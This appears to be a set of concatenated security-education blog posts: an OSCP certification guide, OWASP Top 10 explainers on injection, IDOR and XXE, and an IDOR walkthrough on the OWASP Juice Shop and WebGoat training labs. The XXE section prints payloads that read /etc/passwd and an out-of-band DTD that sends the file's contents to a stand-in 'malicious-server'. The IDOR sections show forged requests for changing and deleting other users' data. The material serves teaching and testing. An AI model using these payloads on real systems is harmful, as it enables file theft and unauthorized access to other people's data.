OSCP Certification: All you need to know

Hello ethical hackers! In this episode, you will learn everything related to OSCP certification. What is OSCP? Why is it a strong certification? What sets it apart? What are the requirements? How to properly prepare for the exam? What to do the day of the exam? And what’s next once you earn your OSCP certification?

OSCP Certification introduction

OSCP stands for Offensive Security Certified Professional, it is Offensive Security‘s most famous certification. Everyone in the industry respects it, and for good reason. In fact, it proves that its holder can perform a penetration testing assignment using a methodical approach and can write a professional pentest report to deliver to the client. Moreover, it demonstrates that its holder can work under pressure and think outside the box when conducting penetration testing. By the way, the motto of OSCP is Try Harder!

OSCP Syllabus, course material, the lab and more

This certification has a syllabus that covers key aspects of penetration testing, it comes with the PWK course, a lab for training and a video package to support the course.

OSCP Syllabus

OSCP covers many penetration testing areas, from information gathering to exploitation. You get to apply your knowledge on various Linux distributions and Windows versions. These machines run a plethora of services. But perhaps the most important aspects I really enjoyed learning was SSH tunnels, privilege escalation and buffer overflows.

With the new 2020 update, this certification offers even more value, especially with the introduction of Active Directory hacking and Empire, which are essential in most real-world infrastructure penetration testing.

PWK course and videos

You won’t pay for the certification voucher only, the price covers the PWK course, which is a PDF file that goes from the basics to the advanced hacking techniques throughout the different chapters. You will learn some Linux commands to work in the terminal, most of the basic web application vulnerabilities, basics of buffer overflow, Active Directory hacking, SSH tunnelling, etc. Each chapter or section comes with a set of exercises that help you apply your knowledge. Besides, if you join the solutions to your final report, you will get 5 extra points.

To support the course PDF, you will get a set of videos that go through the whole concepts in the PDF and demonstrate the concept in practice.

The OSCP lab, price and why I chose it

When I wanted to get certified, I had many certification options. However, I chose OSCP because it provides many key points I was looking for:

  1. It has a hacking lab to practice the course material: I love learning through practice and the lab in the OSCP course is amazing. You will have to breach the perimeter, then work your way through until you own the entire infrastructure.
  2. The exam involves performing actual penetration testing on a new lab and write the report: I wanted to get a great value for the price I am paying and the OSCP exam is also practical, which means that I will apply what I have learned in yet another lab.
  3. With the previous points, the price is reasonable compared to other certifications.
  4. It is respected in the security community: This is reflected in both job offers and the salary. Almost all security offers from junior to senior level include OSCP among the other security certifications. This means that you don’t get a piece of certifying paper, but you actually increase your value in the job market.

Alright, now that you have a general view of what the OSCP is, let’s see what do you need to get it.

OSCP requirements before you apply for it

Although you don’t need prior hacking knowledge to go through this certification, I highly recommend you get comfortable at lease with the basics. OSCP is not for the faint of heart. If you under-estimate it, I doubt you will stand for long.

These are the things I recommend you learn:

Get yourself comfortable working with the terminal

You will spend most of your time on the lab working on remote machines which are only accessible through SSH. Even the Windows machines won’t be exploitable unless you use the command prompt to run your exploitation scripts. Therefore, it is essential to learn at least the basic Linux terminal commands that will help you navigate through the filesystem, install software, copy files around and connect to remote servers.

Learn the basics of web

There is a considerable amount of web applications in the lab, so I advise you to learn how they work. Take your time to understand how the HTTP Protocol works, what is the difference between the client and the server, etc. This will ease your way through the course as you will already have a general view of what they are talking about.

Learn and practice basic hacking techniques

Although the OSCP course teaches you the hacking techniques and concepts from the beginning, I recommend you learn them beforehand. That way, you can quickly go through them and focus on more advanced concepts like exploit development, SSH tunnelling and looting all the machines in the lab. There are many hacking websites which will help you achieve that. They offer great challenges that you can play with, solve and learn along the way. Feel free to read the dedicated article about it.

Practice your skills on boot2root machines

Once you feel comfortable with the hacking challenges, I encourage you to take more time to root some machines. This will allow you to adapt to the kind of hacking activity that you would find during the OSCP lab and the exam. The article I mentioned earlier contains a list of the websites where you can achieve that.

Code something with Python

Many exploits are available in python, and sometimes you will have to modify them to work for your situation. Therefore, knowing Python will help you take full advantage of the labs and speed up your hacking process. Besides, since Metasploit is forbidden in the exam apart from one shot, you have to convert one or two modules to your own Python scripts as a means of practice during your exam preparation.

Understand basic C code

The OSCP course contains a full chapter on Buffer Overflows. Although the concepts are basic, you will still have a hard time understanding and building your exploits if you don’t know anything about the C language. Besides, some machines require you to customize some C code in order to successfully exploit the vulnerability.

The process of applying for OSCP

Do you already have what it takes? Good! You can apply for it online and receive your package. You have three options, either 1, 2 or 3 months of lab access. I recommend you take the 3-month package so that you give yourself enough room for practice.

Expect to present a proof of identity and to use a corporate email. If you don’t have the latter, you can contact the support and tell them that you have no corporate email.

Once the payment is processed, you will get your package containing the course PDF, videos and the VPN access for the lab.

OSCP preparation for the exam

Preparation for the exam starts right when you receive your course material. See, there are some key points I want you to know from the beginning.

Do the course exercises and document them as you go

You will feel lazy solving the exercises and documenting them as you go through the course, but it’s a crucial thing to do. See, documenting your progress and taking notes is a soft skill that you should have if you want to develop quickly. It has two benefits, the first one is that you will secure your extra 5 points in case you need them to pass the exam. Secondly, you will develop the habit of taking notes, which will help you during the exam. Which brings us to the second advice.

Take organized notes

You don’t want to redo all the exploit research, rebuild all your exploits or start Googling how to transfer files between machines during the exam. Everything should be noted beforehand. Your exploits should already be built and organized. Your payloads should be well structured. This will save you tremendous time during the exam.

Take your time to root all the machines in the lab

I recommended you to apply for 3 months of lab access so that you give yourself enough time to grasp, practice and hone your hacking skills on the lab. A friend of mine had a full-time job, a family and purchased one month. Although he was really smart and had already the skills, he simply couldn’t keep up with so many duties on his plates.

OSCP exam

Once you root all the lab machines, I think you will be ready for the exam. It’s not a requirement, but I highly recommend you do it first.

As you might have already known, the OSCP exam is 24 hours long and you have to score at least 65 points to pass. I say 65 because you can send the exercises solution along with the exam report and get 5 extra points, which would complete your minimum 70 points to pass the OSCP exam. You won’t have to pivot between the machines though, each one is separate.

Here is a list of tips that will help you the day of the exam:

Revise your notes

You should have all your notes at your hand. That’s when your prior preparation and documentation will pay off. The notes should contain your code snippets for various tasks such as connecting to different services, transferring files using different methods, bind and reverse shells, your exploits already built and grouped by target OS, etc.

Don’t upgrade your Kali machine

Just work with the version you had throughout the course. Upgrading your machine can introduce surprises that will force you to waste your time troubleshooting instead of solving the exam challenges.

Take regular breaks

You can’t stay productive the entire exam without food and good hydration. So, reserve some time for breaks, it will make you feel better, refreshed. Sometimes, all you need is another perspective, which you can’t get when you are stuck in front of the computer. You just have to notify the proctor, as explained in the official FAQ section.

Start with the Buffer Overflow challenge

One of the machines contains a buffer overflow vulnerability that you will be able to solve without problems if you had solved the one in the course. I recommend you start with it first. This will boost your confidence to tackle the remaining ones.

Beyond OSCP

Hopefully, you are now certified OSCP, congratulations! You have proved that you “tried harder” and you now have the skills required to conduct penetration testing in the real world. However, this is not the end of your journey and you are certainly not an expert. OSCP is a great beginning for a bright future in penetration testing, so don’t waste it! Think about niche areas you want to focus on. For example, you may want to learn more about exploit development, web hacking or Active Directory attacks. Learn the subject and pursue some certification in the field.

OSCP Certification: Congratulations!
OSCP Certification: Congratulations!

Other questions you may ask

OSCP vs CEH: Which is the best?

For me, the short answer is OSCP. The long answer is…it depends! See, CEH is great if you are barely starting in the infosec industry and you still want to quickly get a job even if you don’t have enough practice. In fact, it is recognized by most companies and most of the candidates would have it. So it makes sense to apply for it when you are just starting.

However, I don’t think we should compare it to OSCP. In fact, the exam is a 4 hour Multiple Choice Questions. If you want to become a CEH Master, then you have to pass the 6-hour exam which contains 20 mini-challenges. So, both challenges combined are less than 50% of the 24-hour exam challenge on the OSCP. Besides, OSCP wins at the price as well. In fact, with three months of lab access, the total price is 1349USD, compared to 1898USD for the CEH (The Multiple Choice Questions and the Practical exams, plus registration fees). In my opinion, if budget is a concern for you, you may want to apply for CompTIA PenTest+ instead.

Is a certified OSCP salary higher than CEH?

According to payscale.com, the average OSCP salary is 91,538USD, compared to 82,164USD for CEH at the time of writing this article.

Conclusion

Certifications are a good way to prove that you possess a set of skills, and OSCP is a great one for penetration testers. However, getting certified shouldn’t be the goal. In my opinion, the focus should be on acquiring and applying your hacking skills. That’s what counts!

I hope you found this content helpful and wish you good luck in your OSCP journey. I encourage you to subscribe to the newsletter and receive an article every Friday to end your week on a hacking content. If you are new to hacking and want to learn the basics, read the OWASP Top 10 theory and hands-on article on thehackerish.com and apply your knowledge on the lab which supports them. If you enjoy learning with videos, I invite you to watch the OWASP Top 10 Youtube playlist.

OWASP Top 10 vulnerabilities: Injection explained

Hello and welcome to this OWASP Top 10 vulnerabilities course. Today’s blog post is about Injection. 

By the end of this post, you will have understood the following points:

  • What is OWASP Top 10 Injection? 
  • Why Injection is on the top of the OWASP Top 10 vulnerabilities?
  • What is the difference between error and blind-based injection? 
  • OWASP Top 10 Injection flaws.
  • How to exploit Injection?
  • Some real-world Injection attacks
  • OWASP Top 10 Injection prevention 

What is Injection and why it ranks top of OWASP Top 10 vulnerabilities?

Injection sits comfortably on the top of the OWASP TOP 10 vulnerabilities for the last decade. This is for a good reason. In fact, injection is a broad class of vulnerabilities that you can find on pretty much any target. Let’s take the definition of the OWASP Top 10 for injection and analyze it:

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or a query. The attacker’s hostile data can trick the interpreter into performing unintended actions.

I highlighted the key ideas in italic. The first thing to notice is that injection is not specific to a technology. In fact, any feature which expects and processes input is potentially vulnerable to injection. 

The second thing to point out is how large the attack surface is. Tell me how many features you encountered which fall under this very scenario! I’d say most of them. In fact, even a simple search feature on a website takes your input, uses it as part of a command, queries a data store and returns the results to you.

Continuing on the example above, a malicious user can inject a malicious input, called the payload, to perform unintended results by the vulnerable system. If successful, the malicious user can trick the application into returning sensitive information, modify data or delete it altogether.

Error based injection vs blind Injection vulnerabilities

When hunting for Injection vulnerabilities, you will typically encounter two use cases. On the one hand, the application can return error messages which your payload triggered. In this case, you can follow the application errors for what to do next. For example, you can inject a malformed SQL query as simple as a quote and you get the following error:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id=''' at line 1". 

This tells you a lot! First, you have successfully found a SQL injection. Second, the database engine is MySQL. Third, the application tells you the exact vulnerable part of the SQL query. Lastly, you’ve got a solid bug to report if you are a bug bounty hunter.

On the other hand, you don’t have direct and naive feedback from the application, but rather a hint, or nothing at all! In this case, we call it a blind injection. It requires more effort, but it’s still possible to exploit it as you can see in the OWASP Top 10 training injection blog post.

Now that you have a general understanding, let’s dive into some instances of OWASP Top 10 Injection flaws.

OWASP Top 10 Injection flaws

There are many subsets of the OWASP Top 10 Injection vulnerability class. Below you find most of them. The list is growing, so make sure to subscribe to the newsletter below so that you get a notification each Friday about new content.

SQL injection

SQL injection is a flaw in the way user data is being handled inside a SQL query. Basically, a developer concatenates the expected input directly into the SQL query. SQL injection is one of the most impactful vulnerabilities that exist, it can affect the confidentiality, integrity and availability. To learn more about SQL injection, feel free to read this in-depth SQL injection tutorial.

OS Command injection

OS command injection is a flaw in the way user data is being handled inside an operating system command. Basically, a developer insecurely puts the expected input directly into the OS command. OS injection is one of the deadliest vulnerabilities that exist in the realm of security vulnerabilities. It allows an attacker to have a remote shell on your vulnerable server. As of its impact, it can affect the confidentiality, integrity and availability. If you want to see a real example, read my write-up about how I found and exploited one.

LDAP injection

This injection is a flaw in the way user input is being handled inside an LDAP query. LDAP stands for Lightweight Directory Access Protocol. It is an client-server open industry standard which can be used to access and maintain directory information services. For example, it can be used to authenticate a user, search items, modify entries, etc. Therefore, this type of injection impacts the confidentiality, integrity and availability. You will learn more about LDAP injection in the upcoming blog posts.

OWASP Top 10 Injection attacks

The following are real-world breaches which exploited one of the injections discussed above.

SQL injection in Magento, patch published on March 2019

On its release, Magento urges its users to upgrade to the latest version of Magento. One of the severe vulnerabilities patched was a SQL injection.

CVE-2018-1111 – DHCP Client Script Code Execution Vulnerability

On its advisory on May 2018, RedHat announced that Red Hat Enterprise Linux 6 and 7 are vulnerable to a command injection flaw found in a script included in the DHCP client.

SQL injection against TalkTalk

The breach that affected TalkTalk exploited a SQL injection. Over 4 Million customers were at risk. More than 150K customers’ data was compromised and the company was fined 400K pounds.

OWASP Top ten Injection prevention

Since Injection flaws reside in the way user inputs are handled, a developer should never trust any input. If you do, you’re exposing your asset to security risks which can be damaging. For each of the OWASP Top 10 Injection vulnerabilities discussed earlier, there is a section on how to prevent them. But in general, this OWASP Cheat Sheet covers the guidelines you need to follow when writing your code. The main ideas are as follows.

  • Perform proper input validation: You should sanitize and normalize your input.
  • Use a safe API: For example, using an ORM is far better and secure than building SQL queries yourself.
  • Properly escape your input: If you don’t have an API available, make sure to escape special characters according to the interpreter that will handle your command or query.

That’s it for today, in the next episodes of this OWASP Top 10 vulnerabilities tutorial, we will discuss OWASP Top 10 broken authentication. Stay tuned!

IDOR explained – OWASP Top 10 vulnerabilities

Hello ethical hackers and welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this blog post, you will learn all aspects of the IDOR vulnerability. You will start with the basics and gradually build your knowledge. When you finish reading this article, you will have a solid understanding of IDOR. Besides, you will be ready to put your knowledge into practice in the IDOR tutorial.

I will keep enriching your mind with knowledge and skills through similar upcoming content, so make sure you don’t miss any chance and subscribe to our newsletter.

What is IDOR?

IDOR stands for Insecure Direct Object Reference. Let me break that down for you. I will make key concepts in bold so that it’s easier for you to connect the dots and understand IDOR meaning.

Typically, every application has to manipulate resources. For instance, an e-commerce website will manipulate products, users, baskets, etc. Each resource instance will be called an object, and it is generally referenced by an ID. For example, user A will have ID1 and user B will have ID2. IDOR vulnerability targets a flaw in the way the application references these objects. In other words, any insecure or lack of validation can lead to a malicious user directly accessing unauthorized resources.

I tried to put all the keywords into place. Hopefully, this makes sense for you now. If it is not clear, don’t worry. The following sections will make it crystal clear.

IDOR falls into the OWASP Broken Access Control vulnerability category. This means that you will find most of the IDOR vulnerabilities after you authenticate to the application. However, it’s not always the case.

IDOR attack using guessable IDs

The most basic IDOR scenario happens when the application references objects using easy to guess IDs. For example, they can be incremental integers, they can contain predictable words like the email of the user, or a folder name. Sometimes, they can be poorly encoded. For instance, a base64 encoded incremental Integer, or a profile image name hash reference.

Suppose that an application lets you access your data on the following endpoint:

GET /api/users/78963

In this simple scenario, all you have to do is substitute your ID, which is 78963, with another guessed value.

If the ID is a file name, try /etc/passwd. If it is an Integer, try looping through a range of them.

In the Insecure Direct Object Reference tutorial, you will practice these kinds of attacks.

IDOR attack using IDOR with GUIDs

Sometimes, the application uses IDs which are hard or even impossible to guess. In this case, it is most likely to be a Globally Unique Identifier (GUID). You can also find it under the name of Universally Unique Identifier (UUID). To continue on the example we gave earlier, the endpoint might look like the following:

GET /api/users/b10b413c-6b52-4b10-98c3-b74d19c4e0f6

In this case, you can perform more enumeration on the application. In other words, try to discover as many features as you can. You will likely find endpoints which return a list of objects, each one referenced using a publicly available GUID. For example, the user public profile might return its GUID.

If UUIDs are not publicly available, you can still test for the IDOR vulnerability. Although the impact might be lower, I’ve seen many instances where the issue has been accepted by the client as valid. Moreover, if there is a CSRF issue or a CORS misconfiguration, you can exfiltrate UUIDs and forge your malicious requests with ease.

IDOR in REST applications

In most modern applications, you will deal with REST APIs, which follow a simple naming convention. I will explain key points about REST APIs, which would help you understand how to test for IDOR. You can learn more about the REST convention, but I will explain what you need for a successful IDOR exploit.

With that said, this doesn’t mean that you won’t find insecure direct object reference vulnerabilities in other Web Service styles like SOAP. Whenever you see a feature working with an object reference, always try testing for IDOR.

REST HTTP methods

You can also call them HTTP verbs. These define the operation to execute on the API. In general, the GET method allows you to read data, the POST will either create or update a resource, the PUT and PATCH verbs update data and DELETE will delete your referenced resource(s).

REST convention

REST applications follow a naming convention which makes it easy for you to uncover hidden IDOR vulnerabilities. 

For the sake of simplicity, let’s say an application manages users using incremental Integers. Through your usual enumeration, you found this endpoint which returns your profile data:

GET /api/profile

If it is a RESTful API, you can test many things!

Firstly, try to append an ID to the endpoint. You might stumble upon the administrator or the owner using small integers.

GET /api/profile/1

Then, you can test the update of a user.

PUT /api/profile/1
Host: vulnerable
Content-Type: application/json

{"email": "eve@evil.com"}

You can also test reading all the profiles

GET /api/profiles

Finally, you can test creating a new user.

POST /api/profile
Host: vulnerable
Content-Type: application/json

{“email”: “eve@evil.com”, “password”: “123”}

Of course, things are not so simple in real life. However, the methodology of testing for IDOR vulnerabilities still applies. We will explore more realistic examples in the IDOR tutorial.

IDOR and mass-assignment vulnerabilities

Sometimes, when you create a new resource, you get back its ID. However, when you update it, the application doesn’t include it in the POST data. For instance, suppose an application manages a to-do list. The following request creates a new one:

POST /api/todos
Host: vulnerable
Content-Type: application/json

{"name":"mytodo"}

Then, you get the following response: {"id": 123, "name":"mytodo"}

However, when you update it, the request doesn’t reference the ID in the POST data.

PUT /api/todos/123
Host: vulnerable
Content-Type: application/json

{“name”:”mytodo”}

You might be tempted to change the ID 123 in the request endpoint, but the application checks if you have the right to update it.

This is where mass-assignment comes into play. If the application updates all attributes specified in the POST data, you can send the following request:

PUT /api/todos/123
Host: vulnerable
Content-Type: application/json

{“name”:”mytodo”,”id”:1}

Therefore, you bypass the check and the to-do list with ID 1 will be updated!

A special case of this is when the object you are storing references another object. In his tweet, Jobert explains how referencing a non-existing child ID can result in disclosing data of future objects.

In the next section, I will show you some IDOR real life examples.

IDOR attack examples

Let’s start with this simple IDOR vulnerability PoC to show you how easy it is to find this vulnerability in the wild. In this case, all the hacker had to do was to loop through the order numbers, which are incremental integers. This led to disclosing arbitrary users’ order information. Notice how the endpoint follows the REST naming convention /order/ORDER-ID

Then, there is this IDOR hackerone report where the hacker can update a resource using the id, which is a simple integer. Note the hacker’s methodology, we will come back to this in the following section.

Finally, this IDOR exploit is quite interesting. In fact, the hacker decodes a base64 encoded ID and finds that the team ID is guessable. He then references new teams by changing the ID and encoding it in base64. 

Insecure direct object reference impact

IDOR impact varies depending on the context. Firstly, it can lead to confidentiality compromise, like sensitive information disclosure. For instance, as you saw in the first IDOR Hackerone report, orders of arbitrary users have been leaked. Secondly, IDOR can allow an attacker to edit unauthorized resources as you discovered in the second IDOR attack example. Finally, Insecure direct object reference can impact availability. For example, an attacker can abuse a feature which deletes uploads to delete a file required by the system, which will lead to a server crash.

How to test for IDOR vulnerability? IDOR methodology and tools

Insecure direct object reference vulnerabilities are easy to find. However, some of them may go under your testing radar if your tests are superficial. Besides, you will get many duplicates if you are a bug bounty hunter.

To maximize your chance of finding hidden IDOR vulnerabilities, here is a methodology you can follow.

  1. Register two accounts for each role the application supports. This will help you test lateral access control measures and privilege escalation.
  2. Discover as many features as you can, preferably with the role with the highest privilege. If the application provides paid membership, try to get test accounts or purchase it.
  3. Collect all the endpoints found and try to find a naming pattern. Then, guess new endpoint names based on the pattern you discovered.

Test for all the endpoints against all the roles you’ve registered earlier. You can manually do that if the application is small and the roles don’t go beyond two. In the opposite case, you’ll need a tool to assist you. In Burp Suite, you can use AuthMatrix, Auto-Repeater or Authorize plugins.

Insecure direct object reference prevention

Insecure direct object reference remediation requires developers to manually define access control measures on each endpoint. Because of this, it is hard to cover all the features. In fact, I don’t remember a single application which passed my IDOR testing. However, the following developer habits might reduce the attack surface and effectively allow for better IDOR mitigation:

  • As a developer or tester, make sure to write integration tests which cover IDOR use cases.
  • For DevOps engineers, make sure you set up a CI/CD pipeline which includes all automated tests.
  •  Use GUIDs which are hard to guess. However, this doesn’t help with IDOR fix by itself. 

You can learn more on how to prevent IDOR using the insecure direct object reference OWASP cheat sheet.

That’s it! You’re now ready for the hands-on IDOR tutorial. If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available. Until then, stay curious, learn new things and go find some bugs!

IDOR tutorial hands-on – OWASP Top 10 training

idor: insecure direct object reference

Hello ethical hackers and welcome again to this OWASP Top 10 training series. In this hands-on IDOR tutorial, you will practice what you’ve learned about the IDOR vulnerability we explored earlier. Specifically, you will leverage IDOR to:

  • Access other users’ data using simple IDs and UUIDs
  • Impersonate other users
  • Hunt for hard IDs
  • Delete other users’ data

If you don’t know what id IDOR, RESTful APIs or HTTP methods, I highly recommend you read the previous article. That way, you will take full advantage of this IDOR tutorial.

I will be releasing new similar hands-on tutorials to help you practice security vulnerabilities. Make sure you stay up-to-date by subscribing to the newsletter below.

Leverage IDOR vulnerability to affect Confidentiality

In many IDOR cases, you will compromise the confidentiality of other users’ data by accessing other resources. In the following IDOR attack examples, we will explore how to do that in two ways.

Juice shop IDOR challenge: Access other users’ baskets

Let’s start with a simple challenge to get you started. In this simple IDOR tutorial, the goal is to access other users’ baskets. 

  1. Make sure OWASP ZAP or Burp Suite are properly configured with your Web browser.
  2. Login to OWASP Juice shop and add some products to your basket.
  3. When you list the content of your basket on the top-right corner, you should capture the request GET /rest/basket/ID-OF-YOUR-BASKET in your Web Proxy.
  4. Let’s brute force the basket ID since it is a simple Integer. You can do this using Burp’s Intruder or ZAP’s Fuzzer. In the video tutorial, I am using the latter. 
  5. Using a range of Integers between 0 and 50, we successfully accessed many baskets.
IDOR vulnerability leaks other baskets
IDOR vulnerability leaks other baskets

WebGoat IDOR challenge: Hidden endpoint

In this IDOR attack example. Our goal is to access data of other users using an endpoint which is not easily exploitable. In fact, we will infer the vulnerable endpoint from what we will see in the Web Proxy.

  1. Make sure OWASP ZAP or Burp Suite are properly configured with your Web browser.
  2. Login to OWASP WebGoat.
  3. Go to the Broken Access Control menu, then choose Insecure Direct Object Reference. Then, choose challenge 2.
IDOR tutorial:  WebGoat IDOR challenge
IDOR tutorial: WebGoat IDOR challenge
  1. Login as the user tom with the password cat, then skip to challenge 5.
  2. Click on the first View Profile button
IDOR tutorial: View profile
  1. You should capture a request GET /WebGoat/IDOR/profile/%7BuserId%7D  in your Web Proxy. Note that the structure follows the REST convention (profile/id)
  2. Since this is a RESTful API, when you remove the ID part and replay the request. You should get your own profile data. Note your userId for later.
IDOR tutorial: More data returned from the API
IDOR tutorial: More data returned from the API
  1. The userId seems to be a simple Integer. Let’s try to brute force the last digit. Maybe we will get access to other users’ data. You can do this using Burp’s Intruder or ZAP’s Fuzzer. In the video tutorial, I am using the latter.
  2. You should be able to access Bill’s data with the user id 2342388
Exploiting IDOR vulnerability to disclose other profiles
Exploiting IDOR vulnerability to disclose other profiles

Compromise Integrity using IDOR vulnerability

If a feature of the application allows you to modify data and it’s vulnerable to IDOR, you will be able to edit arbitrary resources. Furthermore, even though some IDs are hard to guess, you can hunt for them inside the application. In the following IDOR attack examples, you will see this in action.

Leverage IDOR vulnerability to impersonate other users

In this challenge, the goal is to post a review of a product as another user. 

  1. Login to OWASP Juice Shop.
  2. Select a product and add a review while capturing the HTTP requests.
  3. In your Web Proxy, you should see a request similar to the following
Write a review feature
Write a review feature
  1. Note how the author field contains the email of your account. Change that to another user. For example, superadmin@juice-sh.op
  2. Send the request and verify that the comment has been added as the impersonated user.
IDOR tutorial: posting a review as another user
IDOR tutorial: posting a review as another user

Hunting for hard IDs to achieve an IDOR exploit

In this challenge, our goal is to modify a review of another user. Let’s do that! 

  1. When you list reviews of the banana juice product, you can see Bender’s review.
IDOR tutorial: Bender’s review
  1. If we want to edit an existing review, we need to see what the HTTP request looks like. Let’s add our own review and edit it.
The HTTP request to edit an existing review
  1. Sadly, it seems that the id is hard to guess. If we want to edit Bender’s review, we will have to hunt for his review’s ID. 
  2. Looking through the HTTP requests on your Web Proxy, you should spot a request which lists all reviews. Have you found it? It should be similar to GET /rest/products/6/reviews. And the response gives us the missing piece of the puzzle.
Listing of all the review IDs
Listing of all the review IDs
  1. Let’s take the highlighted _id parameter from the response above and repeat our previous review edition PATCH /rest/products/reviews request.
  2. You should now have changed Bender’s review comment.
IDOR tutorial finished! The vulnerability allowed us to edit other reviews
IDOR tutorial finished! The vulnerability allowed us to edit other reviews

Unauthorized data deletion using IDOR vulnerability

The impact of Insecure Direct Object Reference depends on what the vulnerable feature does. Sometimes, you can’t find it using normal browsing. To increase your chance of finding hidden IDOR vulnerabilities, you need to play with the RESTful requests you already collected. In this case, we will delete all customer feedback entries from the Juice shop store.

  1. Login to OWASP Juice Shop. Then, go to the menu on the top-left corner and send a customer review.
  2. You should see a request similar to the one below
HTTP request to post a customer feedback
  1. There are few things to note here. Firstly, we have a POST request to the feedback resource, which uses a captcha id and its corresponding value. In the response, we have the id of the resulting feedback, which is a simple Integer. 
  2. Although there is no feature available for us in the UI for deleting a customer feedback, we can still tamper with the request to see if the RESful API allows to delete feedback. Let’s change POST to DELETE, append the feedback ID and remove the POST data.
Malicious IDOR exploit using a DELETE request
Malicious IDOR exploit using a DELETE request
  1. We have successfully removed our own feedback. 
  2. So far, the API accepts to delete our own feedback. But what about deleting other users’ feedback? It seems that we can reuse the same captcha id and value in our malicious request, which will bypass the captcha protection. The idea is to iterate over the feedback ids and delete all of them. I leave this for you as a final exercise.

That’s it! You’re now ready to find IDOR vulnerabilities on your own. If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available.

Again, here is the IDOR walkthrough video:

XXE explained – OWASP Top 10 vulnerabilities

Welcome to this new episode of the OWASP Top 10 vulnerabilities series. Today, you will learn everything related to XXE. This blog post will explain the theory with some examples. By the end, you will be ready to tackle XXE in practice.

Don’t forget to subscribe the Friday newsletter to kickstart your

Some key XXE basic concepts

Before understanding XXE, you need to know some key concepts which will help you properly understand the XXE attack. If you already know what is XML, DTD, XML Entities, parameter entities and XML parsers, feel free to skip this section.

What is XML?

XML stands for Extensible Markup Language. It defines how a document should be structured for data exchange. The following is an example XML document.

<account>
<name>Bob</name>
<email>bob@thehackerish.com</email>
<age>30</age>
<bio>I love cats</bio>
</account>

XML is used to exchange data between systems. For example, when you subscribe to an RSS feed, your client software consumes XML documents containing the News and displays them in a feed. Another example is SOAP, which uses XML to exchange data in web services.

XML Parsers

For an application to manipulate XML documents, it uses an XML parser, which converts the text representation, sent over the network, into an XML DOM (Document Object Model) ready to be consumed by the application.

What is a DTD?

Sometimes, when exchanging XML documents, developers need to enforce the data elements, attributes and value types, etc. This can be done using a document type definition (DTD). This will come handy when exploiting XXE. For example, the XML document mentioned above can optionally include a DTD as follows:

<?xml version="1.0"?>
<!DOCTYPE account [
<!ELEMENT account (name,email,age,bio)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT email (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT bio (#PCDATA)>
]>
<account>
<name>Bob</name>
<email>bob@thehackerish.com</email>
<age>30</age>
<bio>I love cats</bio>
</account>

In this DTD, we enforce that the XML document should contain an account element, which includes a name, email, age and bio fields of type string. Since this DTD is included within the XML document itself, it is called an internal DTD. XML supports also external DTDs, or both.

What is an XML Entity?

XML Entities provide a way to represent data within an XML document. Think of it as a variable holding your data, which you can reference in many places. They are defined inside a DTD. The syntax is as follows:

<!ENTITY entity-name "entity-value">

When you want to reference data from other resources, or include entities from an external DTD, you use XML External Entities. The syntax is slightly different.

<!ENTITY entity-name SYSTEM "/uri/to/the/dtd/or/resource">

Then, you use the syntax &entity-name; to include your entity inside the XML document.

What is an XML Parameter Entity?

Sometimes, XML external entities cannot be used for reasons we will explore shortly. In this case, you can use Parameter Entities. They are special entities which can be referenced inside a DTD. The syntax is:

<!ENTITY % param-entity-name "param-entity-value" >

You can also use parameter entities to fetch a URI

<!ENTITY % param-entity-name SYSTEM "URI" >

What is XXE injection vulnerability?

Now that you know what does XXE mean, how can we use it to achieve an injection?

Do you remember, from the Injection vulnerability, when we explained why trusted user input is dangerous? Well, XML injection is no different. In fact, XXE injection happens when an application trusts user input in an XML document. This is a typical scenario of the attack:

  1. A feature in the application expects an XML to carry comments. The XML document looks like this:
<?xml version = "1.0" encoding = "UTF-8" ?>
   <comment>
      <user>eve</user>
      <content>Great article!</content>
   </comment>

Sometimes, even if the application accepts JSON data, you can still try changing the Content-Type HTTP Header from application/json to application/xml. See this in our XXE tutorial. For now, let’s suppose that the application expects XML. 

  1. A malicious user sends the following XML input
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY myentity SYSTEM "file:///etc/passwd"> ]>
<comment>
      <user>eve</user>
      <content>&myentity;</content>
   </comment>
  1. The application parses the malicious input using the XML Parser.
  2. The content of /etc/passwd gets stored as the comment of the user eve.
  3. The application renders the list of comments, which discloses the server’s /etc/passwd file. 
  4. If we inject a non-existing file, say file:///etc/passwdnotexistent, the server returns an error stating that the file /etc/passwdnotexistent doesn’t exist.

In the scenario we’ve just described, the server returns direct feedback to the user. You can see this in action in this hands-on tutorial. However, it’s not always the case. XXE injections, like any Injection vulnerability, can also be blind.

What is Blind XXE?

When the server doesn’t return direct feedback to the user upon an XML injection, we call it a blind XXE vulnerability. You may wonder how we would exploit it if there is no feedback? Well, the same concept we learned in the Injection vulnerability can be applied here: Abusing the interpreter to make a call to us.

In the following section, we will explore the different ways we can use to exploit a blind XXE.

How to detect a Blind XXE vulnerability?

The easiest way to detect a Blind XXE is to use a URL pointing to our server in the XML external entity. You can inject the following DTD file and wait for a ping on your malicious server:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://malicious-server.com/poc"> ]> 

If HTTP traffic is allowed, the vulnerable server will request http://malicious-server.com/poc, which you can see in your malicious server’s logs. See this in action on this hands-on XXE tutorial.

Note: Sometimes, even if there is a Blind XXE vulnerability and the HTTP traffic is allowed outbound, you will not receive a ping from the vulnerable server. In this case, you can use parameter entities instead of external entities. You might get lucky if XML external entities are blocked. This is especially useful when you don’t have an XML field to inject into.

How to exploit a Blind XXE?

Once you validate it, you can start testing for the XXE vulnerability. There are many scenarios, depending on the situation, but they all fall into the out-of-band category.

Exfiltrate internal files using out-of-band HTTP callbacks

Blind XXE vulnerability allows you to read internal files on the remote vulnerable host. To do that, you send a malicious XML document containing the following DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://malicious-server/malicious.dtd"> %xxe;]>
Before that, you should have the following malicious.dtd file on your malicious-server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://malicious-server/?content=%file;'>">
%bar;
%out;

Notice that we are defining the entity out inside the entity bar. This is possible because you can use nested entities in external DTDs, which is useful when you don’t have an XML field to reference your external entity within.

